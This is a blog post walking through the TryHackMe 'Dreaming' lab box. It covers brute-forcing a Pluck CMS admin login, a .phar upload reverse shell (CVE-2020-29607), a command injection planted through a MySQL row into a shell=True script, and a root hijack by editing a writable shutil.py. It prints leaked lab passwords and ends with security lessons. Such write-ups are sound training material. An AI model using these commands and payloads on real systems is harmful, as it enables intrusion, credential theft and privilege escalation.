DEV Community

Cover image for TryHackMe : Dreaming Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Dreaming Writeup

Summary

Dreaming is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as www-data. A leftover automation script hands over a system password for lucien, whose limited sudo rule around a mysql.connector script has a classic subprocess(shell=True) command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, death's DB credentials) by having the script echo back attacker-controlled shell syntax. From death, a world/group-writable copy of the system shutil.py module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into shutil.py gets executed with root privileges the next time the backup job (or any root process that imports shutil) runs, letting us chmod the final flag readable.

Attack Chain

nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
   |
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
   |
hydra brute-force of Pluck admin login -> "password"
   |
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
   |
Reverse shell as www-data
   |
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
   |
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
   |
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
   |
su death -> death_flag.txt
   |
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
   |
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
   |
morpheus_flag.txt
Enter fullscreen mode Exit fullscreen mode

Recon

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
|   256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_  256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Enter fullscreen mode Exit fullscreen mode

Only SSH and HTTP open. The web root is the stock Apache default page:

curl http://<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
Enter fullscreen mode Exit fullscreen mode

Directory brute-force found an /app/ directory:

ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
Enter fullscreen mode Exit fullscreen mode
.htpasswd               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess               [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
Enter fullscreen mode Exit fullscreen mode
curl http://<MACHINE_IP>/app/
Enter fullscreen mode Exit fullscreen mode
<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55  </td></tr>
Enter fullscreen mode Exit fullscreen mode

Directory listing reveals a Pluck CMS 4.7.13 install.

curl -L http://<MACHINE_IP>/app/pluck-4.7.13/
Enter fullscreen mode Exit fullscreen mode
<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
Enter fullscreen mode Exit fullscreen mode

Vulnerability Attempt: LFI via ?file= parameter (blocked)

Pluck's ?file= page-selector parameter looked like a classic LFI candidate:

curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
Enter fullscreen mode Exit fullscreen mode
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode
curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
Enter fullscreen mode Exit fullscreen mode
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode

Tried a php://filter wrapper to read source instead of triggering the traversal filter directly:

curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'
Enter fullscreen mode Exit fullscreen mode
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Enter fullscreen mode Exit fullscreen mode

Both blocked - Pluck has a built-in input filter on ?file= that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.

Vulnerability: Weak Pluck Admin Credentials (Brute Force)

curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"
Enter fullscreen mode Exit fullscreen mode
<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>
Enter fullscreen mode Exit fullscreen mode

Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L
Enter fullscreen mode Exit fullscreen mode
<div class="error">Password incorrect.</div>
Enter fullscreen mode Exit fullscreen mode

Manual guesses came up empty:

for pass in password 1234 pluck admin123 root dreaming; do
  echo -n "Trying $pass: "
  curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done
Enter fullscreen mode Exit fullscreen mode
Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
Enter fullscreen mode Exit fullscreen mode

(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through hydra against rockyou.txt:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V
Enter fullscreen mode Exit fullscreen mode
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP>   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
Enter fullscreen mode Exit fullscreen mode

Password is simply password. Confirmed:

curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L
Enter fullscreen mode Exit fullscreen mode
<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />
Enter fullscreen mode Exit fullscreen mode

Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE

searchsploit pluck 4.7.13
Enter fullscreen mode Exit fullscreen mode
Exploit Title                                                                 |  Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)           | php/webapps/49909.py
Enter fullscreen mode Exit fullscreen mode

Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks .php uploads by extension, but the block can be bypassed by uploading a .phar file (still executed as PHP by the server) containing a reverse shell payload.

Manual steps taken through the admin panel (screenshots):

  1. Logged into the admin panel at admin.php?action=start, opened pages -> manage files.

  2. Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as evil.phar (bypassing the .php extension filter):

   Name: evil.phar
   Size: 2588 bytes
   Type: applicationoctet-stream
   Upload successful!
   uploaded files
   evil.phar   [preview icon]  [trash icon]
Enter fullscreen mode Exit fullscreen mode
  1. Started a listener, then clicked the magnifying-glass "preview" icon next to evil.phar in the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:
penelope -p 4443 listen
Enter fullscreen mode Exit fullscreen mode
[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
Enter fullscreen mode Exit fullscreen mode
whoami; id; groups
Enter fullscreen mode Exit fullscreen mode
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
Enter fullscreen mode Exit fullscreen mode

Post-Exploitation - Enumerating Home Directories

ls -la /
Enter fullscreen mode Exit fullscreen mode
drwxrwxr--   2 root saviors       4096 Jul 28  2023 kingdom_backup
...
Enter fullscreen mode Exit fullscreen mode
ls -la /home
Enter fullscreen mode Exit fullscreen mode
drwxr-xr-x  4 death    death    4096 Aug 25  2023 death
drwxr-xr-x  5 lucien   lucien   4096 Aug 25  2023 lucien
drwxr-xr-x  3 morpheus morpheus 4096 Aug  7  2023 morpheus
drwxr-xr-x  4 ubuntu   ubuntu   4096 May 18  2025 ubuntu
Enter fullscreen mode Exit fullscreen mode

death's and morpheus's flags are both permission-denied to www-data:

cat /home/death/death_flag.txt
Enter fullscreen mode Exit fullscreen mode
cat: /home/death/death_flag.txt: Permission denied
Enter fullscreen mode Exit fullscreen mode

Found a file owned by lucien sitting in a world-readable location:

find / -type f -user lucien 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
Enter fullscreen mode Exit fullscreen mode
cat /opt/test.py
Enter fullscreen mode Exit fullscreen mode
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
Enter fullscreen mode Exit fullscreen mode

This was written to test the Pluck admin password, but lucien reused the same password for his system account:

su lucien
Password:
Enter fullscreen mode Exit fullscreen mode
lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
Enter fullscreen mode Exit fullscreen mode
cat lucien_flag.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - lucien to death via subprocess Command Injection

cat .bash_history
Enter fullscreen mode Exit fullscreen mode
ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
Enter fullscreen mode Exit fullscreen mode

.bash_history leaks lucien's own MySQL password, and shows the exact sudo invocation he'd already used.

sudo -l
Enter fullscreen mode Exit fullscreen mode
User lucien may run the following commands on ip-10-48-167-123:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode

lucien can run one specific script as death, no password needed. Can't read the script directly (death-owned, execute-only for others):

cat /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode
cat: /home/death/getDreams.py: Permission denied
Enter fullscreen mode Exit fullscreen mode

Ran it as allowed, to see what it does:

sudo -u death /usr/bin/python3 /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician
Enter fullscreen mode Exit fullscreen mode

It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:

mysql -u lucien -plucien42DBPASSWORD
Enter fullscreen mode Exit fullscreen mode
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

mysql> use library;
Database changed
Enter fullscreen mode Exit fullscreen mode

The script clearly builds a shell command from the row data and executes it (the output format dreamer + dream looks like an echo built from user-controlled fields). Tested command injection by inserting a row whose dreamer field is a shell command substitution:

mysql> insert into dreams values ("evil", "$(cat /home/death/getDreams.py
    "> )");
Enter fullscreen mode Exit fullscreen mode
Query OK, 1 row affected (0.01 sec)
Enter fullscreen mode Exit fullscreen mode
sudo -u death /usr/bin/python3 /home/death/getDreams.py
Enter fullscreen mode Exit fullscreen mode
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

evil + import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "!mementoMORI666!" DB_NAME = "library" def getDreams(): try: connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) cursor = connection.cursor() query = "SELECT dreamer, dream FROM dreams;" cursor.execute(query) dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: print(f"Error: {error}") finally: cursor.close() connection.close() getDreams()
Enter fullscreen mode Exit fullscreen mode

Confirmed: the script builds f"echo {dreamer} + {dream}" and runs it through subprocess.check_output(..., shell=True) with no sanitization of the DB-sourced dreamer/dream fields. Since it runs as death (via the sudo rule), any value we can get into that table is executed as death. Here it was used purely to cat the script's own source and leak death's DB password (!mementoMORI666!) - the same injection primitive could equally be used to spawn a shell as death directly.

su death
Password:
Enter fullscreen mode Exit fullscreen mode
death@ip-10-48-167-123:/home/lucien$ whoami
death
death@ip-10-48-167-123:/home/lucien$ id
uid=1001(death) gid=1001(death) groups=1001(death)
Enter fullscreen mode Exit fullscreen mode
cd ~ && cat death_flag.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation - death to root via shutil.py Library Hijack

Looked around morpheus's home for anything death has access to:

cd /home/morpheus && ls -la
Enter fullscreen mode Exit fullscreen mode
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
Enter fullscreen mode Exit fullscreen mode
cat restore.py
Enter fullscreen mode Exit fullscreen mode
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
Enter fullscreen mode Exit fullscreen mode

/kingdom_backup is root:saviors and death isn't in that group, so running this manually just fails:

python3 restore.py
Enter fullscreen mode Exit fullscreen mode
Traceback (most recent call last):
  File "restore.py", line 6, in <module>
    backup(src_file, dst_file)
  File "/usr/lib/python3.8/shutil.py", line 438, in copy2
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.8/shutil.py", line 267, in copyfile
    with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: '/kingdom_backup/kingdom'
Enter fullscreen mode Exit fullscreen mode

But the interesting part is what restore.py imports it from - checked the permissions on the actual system shutil.py module:

find / -type f -name 'shutil.py' 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
Enter fullscreen mode Exit fullscreen mode
ls -la /usr/lib/python3.8/shutil.py
Enter fullscreen mode Exit fullscreen mode
-rw-rw-r-- 1 root death 51474 Mar 18  2025 /usr/lib/python3.8/shutil.py
Enter fullscreen mode Exit fullscreen mode

Group-owned by death, group-writable. Since any Python process on the box that does import shutil (or from shutil import ..., as restore.py does) will load and execute this file, and something on the box appears to run restore.py periodically/as root (implied by the box's "kingdom backup" premise and the root:saviors-owned destination directory), planting code here gets it executed with whatever privileges that scheduled/triggering process has.

Edited the module directly and added a line at the top (after the existing imports) to make the target flag world-readable:

nano /usr/lib/python3.8/shutil.py
Enter fullscreen mode Exit fullscreen mode
# added near the top of shutil.py, after imports:
os.system('chmod 777 /home/morpheus/morpheus_flag.txt')
Enter fullscreen mode Exit fullscreen mode

After giving it a little time for the backup job/cron to trigger a fresh import shutil as root:

ls -la /home/morpheus/morpheus_flag.txt
Enter fullscreen mode Exit fullscreen mode
-rwxrwxrwx 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
Enter fullscreen mode Exit fullscreen mode

Permissions flipped to 777 - confirming the injected line executed with enough privilege to override morpheus's own restrictive permissions. (An earlier, more direct attempt - copying a SUID root bash binary to /tmp/rootbash from within the hijacked module - also worked opportunistically once, evidenced by a stray -rwsrwsrwx binary appearing in /tmp, but wasn't reliably reproducible since the target file kept coming back "busy" while in use; the chmod-the-flag approach was the clean, repeatable path.)

cat /home/morpheus/morpheus_flag.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Directory listing enabled on /app/ Apache config Discloses Pluck CMS version/path
2 Weak Pluck CMS admin password (password) /app/pluck-4.7.13/login.php Trivial brute force with hydra + rockyou
3 CVE-2020-29607 - .phar extension bypass on file upload Pluck CMS 4.7.13 admin file manager Authenticated RCE as www-data
4 Password reuse between app-testing script and system account /opt/test.py (lucien) Lateral movement www-data -> lucien
5 subprocess.check_output(..., shell=True) on unsanitized DB fields getDreams.py (run via sudo as death) Command injection via MySQL row content
6 Group-writable core Python stdlib module (shutil.py) imported by a root-run job /usr/lib/python3.8/shutil.py Full root code execution via library hijack

Lessons / Takeaways

  • Never reuse application-level credentials (CMS admin passwords, API keys) as system account passwords. lucien's system password being identical to a hardcoded Pluck test password was the entire bridge from www-data to a real user.
  • subprocess(..., shell=True) with any attacker-influenced input - even data pulled from "your own" database - is a command injection waiting to happen. If the data crosses a trust boundary (user-submitted content, another service, etc.) before landing in the DB, treat it as untrusted when building shell commands from it later.
  • File/group permissions on interpreter standard-library paths matter. A group-writable /usr/lib/python3.8/shutil.py is effectively a root backdoor for anyone in that group, since practically everything on the system imports it eventually.
  • Restrictive sudo rules aren't a substitute for input validation in the target script. Locking lucien to one specific script didn't help once that script itself was exploitable.

Top comments (0)